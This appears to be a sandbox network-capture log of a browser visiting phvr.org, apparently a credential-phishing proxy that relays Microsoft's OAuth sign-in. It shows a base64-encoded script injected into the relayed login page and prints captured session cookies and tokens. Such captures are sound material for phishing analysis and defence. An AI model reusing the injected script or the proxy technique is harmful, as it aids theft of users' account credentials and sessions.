X-OWA-RedirectHistory=ArLym14BKqa8LKqb3Ag; expires=Thu, 04-Jul-2024 03:52:37 GMT; path=/;SameSite=None; secure; HttpOnly X-CalculatedBETarget: CH2PR04MB6981.namprd04.PROD.OUTLOOK.COM X-RUM-Validated: 1 X-RUM-NotUpdateQueriedPath: 1 X-RUM-NotUpdateQueriedDbCopy: 1 X-BeSku: WCS6 X-OWA-DiagnosticsInfo: 1;0;0 X-BackEnd-Begin: 2024-07-03T21:50:37.707 X-BackEnd-End: 2024-07-03T21:50:37.707 X-DiagInfo: CH2PR04MB6981 X-BEServer: CH2PR04MB6981 X-UA-Compatible: IE=EmulateIE7 X-Proxy-RoutingCorrectness: 1 X-Proxy-BackendServerStatus: 302 X-FEProxyInfo: BN0PR04CA0103.NAMPRD04.PROD.OUTLOOK.COM X-FEEFZInfo: LYH X-FEServer: CH5PR04CA0023, BN0PR04CA0103 NEL: {"report_to":"NelOfficeUpload1","max_age":7200,"include_subdomains":true,"failure_fraction":1.0,"success_fraction":0.01} X-FirstHopCafeEFZ: LYH Date: Wed, 03 Jul 2024 21:50:37 GMT Connection: close Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; form-action * data: blob: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-src * data: blob: filesystem: ; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem: ; object-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; style-src * data: blob: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline';
2024-07-03 21:50:37 UTC	1266	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 64 61 74 61 3a 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 3b 62 61 73 65 36 34 2c 5a 6e 56 75 59 33 52 70 62 32 34 67 59 79 67 70 65 32 6c 6d 4b 43 46 6b 62 32 4e 31 62 57 56 75 64 43 35 78 64 57 56 79 65 56 4e 6c 62 47 56 6a 64 47 39 79 4b 43 49 75 59 69 49 70 49 48 78 38 49 43 46 6b 62 32 4e 31 62 57 56 75 64 43 35 78 64 57 56 79 65 56 4e 6c 62 47 56 6a 64 47 39 79 4b 43 49 75 5a 79 49 70 4b 58 74 6b 62 32 4e 31 62 57 56 75 64 43 35 6f 5a 57 46 6b 4c 6d 46 77 63 47 56 75 5a 45 4e 6f 61 57 78 6b 4b 45 39 69 61 6d 56 6a 64 43 35 68 63 33 4e 70 5a 32 34 6f 5a 47 39 6a 64 57 31 6c 62 6e 51 75 59 33 4a 6c 59 58 52 6c 52 57 78 6c 62 57 56 75 64 43 67 69 5a 47 6c 32 49 69 6b 73 65 Data Ascii: <html><head><script src="data:text/javascript;base64,ZnVuY3Rpb24gYygpe2lmKCFkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuYiIpIHx8ICFkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuZyIpKXtkb2N1bWVudC5oZWFkLmFwcGVuZENoaWxkKE9iamVjdC5hc3NpZ24oZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiZGl2Iikse

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49771	185.143.223.70	443	1456	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-03 21:50:38 UTC	1834	OUT	GET /?y6i9iw4gm=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9ZDZhZjgwMWItNDI2My0yODUwLWU4NDItM2Y3ZmVlMDdmN2QwJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODU1NjQwMjM3NzA3NDIxOC4wZjU1ZmU3ZC1iZWM4LTRlNDctODVjNy05Yzk3ZTY3YjE4OTAmc3RhdGU9RGNzeEZvQWdEQVJSME9keElnRVROaHhITUxTV1hsLUtQOTNFRU1LLWJFdmtsWUI2bVdvVkxoZkFrSkx0NUtrNkhROTFIMGJpQWpJZG9EWWF2S0puYXh6WGU2VDN1OU1Q HTTP/1.1 Host: phvr.org Connection: keep-alive Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ayssaless.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=jf7YXdIMEkHJ; qPdM.sig=JzExGlp4bLAx1cNMyhVmMjKQCYw; ClientId=8DD7D1DBE24E4DA7A257935551B595D8; OIDC=1; OpenIdConnect.nonce.v3.r4de45POxQ3HJYiJGcLMQCWXDACqZRwI8GYEzI6XDak=638556402377074218.0f55fe7d-bec8-4e47-85c7-9c97e67b1890; X-OWA-RedirectHistory=ArLym14BKqa8LKqb3Ag
2024-07-03 21:50:38 UTC	2009	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: text/html; charset=utf-8 Expires: -1 Strict-Transport-Security: max-age=31536000; includeSubDomains P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" x-ms-request-id: eb7480a2-a0c3-4bd9-8525-0dac19810c00 x-ms-ests-server: 2.1.18399.9 - EUS ProdSlices nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} x-ms-srs: 1.P Referrer-Policy: strict-origin-when-cross-origin Set-Cookie: esctx-3irMWGpLqqA=AQABCQEAAAApTwJmzXqdR4BN2miheQMYuCbasr6VflTvI7fdGUB8JXyH5-fw56k8A20F-Yv3Z_-TJtNxn04gZWTQOhb-abVo4kaTpyjZH-6gAsGiY4Yn9Zz-EfNhWeRCo8Btrsa_WLU9m1qolxBTOGg9FeJRC5CFUQq4uzgbcumI-A1nZua-LyAA; domain=phvr.org; path=/; secure; HttpOnly; SameSite=None Set-Cookie: fpc=AlWXWngi0U1FhCT5sIeZshA; expires=Fri, 02-Aug-2024 21:50:38 GMT; path=/; secure; HttpOnly; SameSite=None Set-Cookie: esctx=PAQABBwEAAAApTwJmzXqdR4BN2miheQMYi60qYMQ9lWmw4iaeh2qgGgrqKQhTfiK7R2V-RPfmTbsbuP6AN4n7mJdI6mzxYvsC_u3yfAN0Oq96_bCFrWqvnFNgwEKnklzvgMySH_XNtwbD8NEY1uWRX29VmYcozZJGQZgAavt8Fyxu9Qet_T8kjeg-ns4bnSH3NzXRQaSnhykgAA; domain=phvr.org; path=/; secure; HttpOnly; SameSite=None Set-Cookie: x-ms-gateway-slice=estsfd; path=/; secure; samesite=none; httponly Set-Cookie: stsservicecookie=estsfd; path=/; secure; samesite=none; httponly Date: Wed, 03 Jul 2024 21:50:37 GMT Connection: close content-length: 20849 Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; form-action * data: blob: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-src * data: blob: filesystem: ; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem: ; object-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; style-src * data: blob: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline';
2024-07-03 21:50:38 UTC	14375	IN	Data Raw: 0d 0a 0d 0a 3c 21 2d 2d 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 20 2d 2d 3e 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 64 61 74 61 3a 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 3b 62 61 73 65 36 34 2c 5a 6e 56 75 59 33 52 70 62 32 34 67 59 79 67 70 65 32 6c 6d 4b 43 46 6b 62 32 4e 31 62 57 56 75 64 43 35 78 64 57 56 79 65 56 4e 6c 62 47 56 6a 64 47 39 79 4b 43 49 75 59 69 49 70 49 48 78 38 49 43 46 6b 62 32 4e 31 62 57 56 75 64 43 35 78 64 57 56 79 65 56 4e 6c 62 47 56 6a 64 47 39 79 4b 43 49 75 5a 79 49 70 4b 58 74 6b 62 32 Data Ascii: ... Copyright (C) Microsoft Corporation. All rights reserved. --><!DOCTYPE html><html><head><script src="data:text/javascript;base64,ZnVuY3Rpb24gYygpe2lmKCFkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuYiIpIHx8ICFkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuZyIpKXtkb2
2024-07-03 21:50:38 UTC	6474	IN	Data Raw: 2c 63 2e 4f 6e 45 72 72 6f 72 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 65 2e 73 72 63 7c 7c 65 2e 68 72 65 66 7c 7c 22 22 2c 6f 3d 69 28 29 2c 73 3d 61 28 29 3b 69 66 28 21 65 29 7b 74 68 72 6f 77 22 54 68 65 20 74 61 72 67 65 74 20 65 6c 65 6d 65 6e 74 20 6d 75 73 74 20 62 65 20 70 72 6f 76 69 64 65 64 20 61 6e 64 20 63 61 6e 6e 6f 74 20 62 65 20 6e 75 6c 6c 2e 22 7d 72 28 22 5b 24 4c 6f 61 64 65 72 5d 3a 20 46 61 69 6c 65 64 22 2c 65 29 3b 76 61 72 20 75 3d 6e 65 77 20 63 3b 75 2e 66 61 69 6c 4d 65 73 73 61 67 65 3d 22 52 65 6c 6f 61 64 20 46 61 69 6c 65 64 22 2c 75 2e 73 75 63 63 65 73 73 4d 65 73 73 61 67 65 3d 22 52 65 6c 6f 61 64 20 53 75 63 63 65 73 73 22 2c 75 2e 41 64 64 46 6f 72 52 65 6c 6f 61 64 28 65 2c 74 29 2c 0a 75 2e Data Ascii: ,c.OnError=function(e,t){var n=e.src\|\|e.href\|\|"",o=i(),s=a();if(!e){throw"The target element must be provided and cannot be null."}r("[$Loader]: Failed",e);var u=new c;u.failMessage="Reload Failed",u.successMessage="Reload Success",u.AddForReload(e,t),u.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49772	185.143.223.70	443	1456	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-03 21:50:39 UTC	2208	OUT	GET /aadcdn.msftauth.net/~/shared/1.0/content/js/BssoInterrupt_Core_sw-M8KkV3_nBot-G1ImRcw2.js HTTP/1.1 Host: phvr.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://phvr.org/?y6i9iw4gm=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9ZDZhZjgwMWItNDI2My0yODUwLWU4NDItM2Y3ZmVlMDdmN2QwJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODU1NjQwMjM3NzA3NDIxOC4wZjU1ZmU3ZC1iZWM4LTRlNDctODVjNy05Yzk3ZTY3YjE4OTAmc3RhdGU9RGNzeEZvQWdEQVJSME9keElnRVROaHhITUxTV1hsLUtQOTNFRU1LLWJFdmtsWUI2bVdvVkxoZkFrSkx0NUtrNkhROTFIMGJpQWpJZG9EWWF2S0puYXh6WGU2VDN1OU1Q Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=jf7YXdIMEkHJ; qPdM.sig=JzExGlp4bLAx1cNMyhVmMjKQCYw; ClientId=8DD7D1DBE24E4DA7A257935551B595D8; OIDC=1; OpenIdConnect.nonce.v3.r4de45POxQ3HJYiJGcLMQCWXDACqZRwI8GYEzI6XDak=638556402377074218.0f55fe7d-bec8-4e47-85c7-9c97e67b1890; X-OWA-RedirectHistory=ArLym14BKqa8LKqb3Ag; esctx-3irMWGpLqqA=AQABCQEAAAApTwJmzXqdR4BN2miheQMYuCbasr6VflTvI7fdGUB8JXyH5-fw56k8A20F-Yv3Z_-TJtNxn04gZWTQOhb-abVo4kaTpyjZH-6gAsGiY4Yn9Zz-EfNhWeRCo8Btrsa_WLU9m1qolxBTOGg9FeJRC5CFUQq4uzgbcumI-A1nZua-LyAA; fpc=AlWXWngi0U1FhCT5sIeZshA; esctx=PAQABBwEAAAApTwJmzXqdR4BN2miheQMYi60qYMQ9lWmw4iaeh2qgGgrqKQhTfiK7R2V-RPfmTbsbuP6AN4n7mJdI6mzxYvsC_u3yfAN0Oq96_bCFrWqvnFNgwEKnklzvgMySH_XNtwbD8NEY1uWRX29VmYcozZJGQZgAavt8Fyxu9Qet_T8kjeg-ns4bnSH3NzXRQaSnhykgAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd
2024-07-03 21:50:39 UTC	1343	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 3030206 Cache-Control: public, max-age=31536000 Content-MD5: PV+8QYbvRbBN6L+LpoYZZw== Content-Type: application/x-javascript Date: Wed, 03 Jul 2024 21:50:39 GMT Etag: 0x8DC7C3E9BFAA7DE Last-Modified: Fri, 24 May 2024 22:12:32 GMT Server: ECAcc (agc/7F15) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 12c73036-201e-0059-6103-b24a06000000 x-ms-version: 2009-09-19 content-length: 141489 Connection: close Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; form-action * data: blob: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-src * data: blob: filesystem: ; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem: ; object-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; style-src * data: blob: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline';
2024-07-03 21:50:39 UTC	15041	IN	Data Raw: 2f 2a 21 0a 20 2a 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 20 53 54 41 52 54 20 4f 46 20 54 48 49 52 44 20 50 41 52 54 59 20 4e 4f 54 49 43 45 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 20 2a 20 0a 20 2a 20 54 68 69 73 20 66 69 6c 65 20 69 73 20 62 61 73 65 64 20 6f 6e 20 6f 72 20 69 6e 63 6f 72 70 6f 72 61 74 65 73 20 6d 61 74 65 72 69 61 6c 20 66 72 6f 6d 20 74 68 65 20 70 72 6f 6a 65 63 74 73 20 6c 69 73 74 65 64 20 62 65 6c 6f 77 20 28 54 68 69 72 64 20 50 61 72 74 79 20 49 50 29 2e 20 54 68 65 20 6f 72 69 67 69 6e 61 6c 20 63 6f 70 79 72 69 67 68 74 20 6e 6f 74 69 63 65 20 61 Data Ascii: /! ------------------------------------------- START OF THIRD PARTY NOTICE ----------------------------------------- * * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice a
2024-07-03 21:50:39 UTC	16384	IN	Data Raw: 70 61 6e 22 29 3b 65 2e 73 74 79 6c 65 2e 62 6f 72 64 65 72 4c 65 66 74 43 6f 6c 6f 72 3d 22 72 65 64 22 2c 65 2e 73 74 79 6c 65 2e 62 6f 72 64 65 72 52 69 67 68 74 43 6f 6c 6f 72 3d 22 62 6c 75 65 22 2c 65 2e 73 74 79 6c 65 2e 70 6f 73 69 74 69 6f 6e 3d 22 61 62 73 6f 6c 75 74 65 22 2c 65 2e 73 74 79 6c 65 2e 74 6f 70 3d 22 2d 39 39 39 70 78 22 2c 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 65 29 3b 76 61 72 20 6e 3d 5f 2e 67 65 74 43 6f 6d 70 75 74 65 64 53 74 79 6c 65 28 65 29 3b 45 3d 6e 2e 62 6f 72 64 65 72 4c 65 66 74 43 6f 6c 6f 72 3d 3d 3d 6e 2e 62 6f 72 64 65 72 52 69 67 68 74 43 6f 6c 6f 72 2c 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 65 29 7d 72 65 74 75 72 6e 20 45 7d 2c 67 Data Ascii: pan");e.style.borderLeftColor="red",e.style.borderRightColor="blue",e.style.position="absolute",e.style.top="-999px",document.body.appendChild(e);var n=_.getComputedStyle(e);E=n.borderLeftColor===n.borderRightColor,document.body.removeChild(e)}return E},g
2024-07-03 21:50:39 UTC	16384	IN	Data Raw: 6f 6c 6c 69 6e 67 54 69 6d 65 64 4f 75 74 3a 31 30 32 39 2c 53 65 6e 64 4e 6f 74 69 66 69 63 61 74 69 6f 6e 46 61 69 6c 65 64 3a 31 30 33 30 2c 53 65 72 76 65 72 5f 4d 65 73 73 61 67 65 4f 6e 6c 79 3a 39 39 39 39 2c 50 50 5f 45 5f 44 42 5f 4d 45 4d 42 45 52 44 4f 45 53 4e 4f 54 45 58 49 53 54 3a 22 43 46 46 46 46 43 31 35 22 2c 50 50 5f 45 5f 45 58 43 4c 55 44 45 44 3a 22 38 30 30 34 31 30 31 30 22 2c 50 50 5f 45 5f 4d 45 4d 42 45 52 5f 4c 4f 43 4b 45 44 3a 22 38 30 30 34 31 30 31 31 22 2c 50 50 5f 45 5f 42 41 44 5f 50 41 53 53 57 4f 52 44 3a 22 38 30 30 34 31 30 31 32 22 2c 50 50 5f 45 5f 4d 49 53 53 49 4e 47 5f 4d 45 4d 42 45 52 4e 41 4d 45 3a 22 38 30 30 34 31 30 33 31 22 2c 50 50 5f 45 5f 4d 49 53 53 49 4e 47 5f 50 41 53 53 57 4f 52 44 3a 22 38 30 30 Data Ascii: ollingTimedOut:1029,SendNotificationFailed:1030,Server_MessageOnly:9999,PP_E_DB_MEMBERDOESNOTEXIST:"CFFFFC15",PP_E_EXCLUDED:"80041010",PP_E_MEMBER_LOCKED:"80041011",PP_E_BAD_PASSWORD:"80041012",PP_E_MISSING_MEMBERNAME:"80041031",PP_E_MISSING_PASSWORD:"800
2024-07-03 21:50:39 UTC	16384	IN	Data Raw: 66 6f 72 65 61 63 68 48 69 64 65 73 44 65 73 74 72 6f 79 65 64 3a 21 31 7d 2c 53 2e 61 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 65 2c 6e 29 7b 66 6f 72 28 76 61 72 20 74 20 69 6e 20 65 29 6f 2e 63 61 6c 6c 28 65 2c 74 29 26 26 6e 28 74 2c 65 5b 74 5d 29 7d 66 75 6e 63 74 69 6f 6e 20 6e 28 65 2c 6e 29 7b 69 66 28 6e 29 66 6f 72 28 76 61 72 20 74 20 69 6e 20 6e 29 6f 2e 63 61 6c 6c 28 6e 2c 74 29 26 26 28 65 5b 74 5d 3d 6e 5b 74 5d 29 3b 72 65 74 75 72 6e 20 65 7d 66 75 6e 63 74 69 6f 6e 20 74 28 65 2c 6e 29 7b 72 65 74 75 72 6e 20 65 2e 5f 5f 70 72 6f 74 6f 5f 5f 3d 6e 2c 65 7d 66 75 6e 63 74 69 6f 6e 20 72 28 65 2c 6e 2c 74 2c 72 29 7b 76 61 72 20 6f 3d 65 5b 6e 5d 2e 6d 61 74 63 68 28 62 29 7c 7c 5b 5d 3b 53 2e 61 2e 44 28 74 Data Ascii: foreachHidesDestroyed:!1},S.a=function(){function e(e,n){for(var t in e)o.call(e,t)&&n(t,e[t])}function n(e,n){if(n)for(var t in n)o.call(n,t)&&(e[t]=n[t]);return e}function t(e,n){return e.__proto__=n,e}function r(e,n,t,r){var o=e[n].match(b)\|\|[];S.a.D(t
2024-07-03 21:50:39 UTC	16384	IN	Data Raw: 6f 74 69 66 79 53 75 62 73 63 72 69 62 65 72 73 7d 2c 53 2e 62 28 22 73 75 62 73 63 72 69 62 61 62 6c 65 22 2c 53 2e 54 29 2c 53 2e 62 28 22 69 73 53 75 62 73 63 72 69 62 61 62 6c 65 22 2c 53 2e 51 63 29 2c 53 2e 53 3d 53 2e 75 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 65 29 7b 72 2e 70 75 73 68 28 74 29 2c 74 3d 65 7d 66 75 6e 63 74 69 6f 6e 20 6e 28 29 7b 74 3d 72 2e 70 6f 70 28 29 7d 76 61 72 20 74 2c 72 3d 5b 5d 2c 6f 3d 30 3b 72 65 74 75 72 6e 7b 78 63 3a 65 2c 65 6e 64 3a 6e 2c 63 63 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 74 29 7b 69 66 28 21 53 2e 51 63 28 65 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 4f 6e 6c 79 20 73 75 62 73 63 72 69 62 61 62 6c 65 20 74 68 69 6e 67 73 20 63 61 6e 20 61 63 74 20 61 73 20 64 Data Ascii: otifySubscribers},S.b("subscribable",S.T),S.b("isSubscribable",S.Qc),S.S=S.u=function(){function e(e){r.push(t),t=e}function n(){t=r.pop()}var t,r=[],o=0;return{xc:e,end:n,cc:function(e){if(t){if(!S.Qc(e))throw Error("Only subscribable things can act as d
2024-07-03 21:50:40 UTC	16384	IN	Data Raw: 3a 6e 75 6c 6c 3b 72 65 74 75 72 6e 20 53 2e 6a 2e 74 63 28 74 2c 65 2c 6e 2c 21 31 29 7d 2c 67 65 74 42 69 6e 64 69 6e 67 41 63 63 65 73 73 6f 72 73 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b 76 61 72 20 74 3d 28 74 3d 74 68 69 73 2e 67 65 74 42 69 6e 64 69 6e 67 73 53 74 72 69 6e 67 28 65 2c 6e 29 29 3f 74 68 69 73 2e 70 61 72 73 65 42 69 6e 64 69 6e 67 73 53 74 72 69 6e 67 28 74 2c 6e 2c 65 2c 7b 76 61 6c 75 65 41 63 63 65 73 73 6f 72 73 3a 21 30 7d 29 3a 6e 75 6c 6c 3b 72 65 74 75 72 6e 20 53 2e 6a 2e 74 63 28 74 2c 65 2c 6e 2c 21 30 29 7d 2c 67 65 74 42 69 6e 64 69 6e 67 73 53 74 72 69 6e 67 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 73 77 69 74 63 68 28 65 2e 6e 6f 64 65 54 79 70 65 29 7b 63 61 73 65 20 31 3a 72 65 74 75 72 6e 20 65 2e 67 65 74 41 74 Data Ascii: :null;return S.j.tc(t,e,n,!1)},getBindingAccessors:function(e,n){var t=(t=this.getBindingsString(e,n))?this.parseBindingsString(t,n,e,{valueAccessors:!0}):null;return S.j.tc(t,e,n,!0)},getBindingsString:function(e){switch(e.nodeType){case 1:return e.getAt
2024-07-03 21:50:40 UTC	16384	IN	Data Raw: 6e 74 73 22 29 3b 66 6f 72 28 3b 30 3c 65 2e 6c 65 6e 67 74 68 3b 29 65 2e 72 65 6d 6f 76 65 28 30 29 3b 72 65 74 75 72 6e 7b 63 6f 6e 74 72 6f 6c 73 44 65 73 63 65 6e 64 61 6e 74 42 69 6e 64 69 6e 67 73 3a 21 30 7d 7d 2c 75 70 64 61 74 65 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 2c 74 29 7b 66 75 6e 63 74 69 6f 6e 20 72 28 29 7b 72 65 74 75 72 6e 20 53 2e 61 2e 6a 62 28 65 2e 6f 70 74 69 6f 6e 73 2c 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 73 65 6c 65 63 74 65 64 7d 29 29 7d 66 75 6e 63 74 69 6f 6e 20 6f 28 65 2c 6e 2c 74 29 7b 76 61 72 20 72 3d 74 79 70 65 6f 66 20 6e 3b 72 65 74 75 72 6e 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 72 3f 6e 28 65 29 3a 22 73 74 72 69 6e 67 22 3d 3d 72 3f 65 5b 6e 5d 3a 74 7d 66 75 6e 63 74 69 6f 6e 20 69 Data Ascii: nts");for(;0<e.length;)e.remove(0);return{controlsDescendantBindings:!0}},update:function(e,n,t){function r(){return S.a.jb(e.options,(function(e){return e.selected}))}function o(e,n,t){var r=typeof n;return"function"==r?n(e):"string"==r?e[n]:t}function i
2024-07-03 21:50:40 UTC	16384	IN	Data Raw: 65 28 21 30 29 2e 63 68 69 6c 64 4e 6f 64 65 73 29 3a 28 65 3d 65 2e 74 65 78 74 28 29 2c 53 2e 61 2e 75 61 28 65 2c 72 29 29 7d 2c 53 2e 62 61 2e 4d 61 3d 6e 65 77 20 53 2e 62 61 2c 53 2e 67 63 28 53 2e 62 61 2e 4d 61 29 2c 53 2e 62 28 22 6e 61 74 69 76 65 54 65 6d 70 6c 61 74 65 45 6e 67 69 6e 65 22 2c 53 2e 62 61 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 53 2e 24 61 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 68 69 73 2e 48 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 21 6c 7c 7c 21 6c 2e 74 6d 70 6c 29 72 65 74 75 72 6e 20 30 3b 74 72 79 7b 69 66 28 30 3c 3d 6c 2e 74 6d 70 6c 2e 74 61 67 2e 74 6d 70 6c 2e 6f 70 65 6e 2e 74 6f 53 74 72 69 6e 67 28 29 2e 69 6e 64 65 78 4f 66 28 22 5f 5f 22 29 29 72 65 74 75 72 6e 20 32 7d 63 61 74 63 68 28 Data Ascii: e(!0).childNodes):(e=e.text(),S.a.ua(e,r))},S.ba.Ma=new S.ba,S.gc(S.ba.Ma),S.b("nativeTemplateEngine",S.ba),function(){S.$a=function(){var e=this.Hd=function(){if(!l\|\|!l.tmpl)return 0;try{if(0<=l.tmpl.tag.tmpl.open.toString().indexOf("__"))return 2}catch(
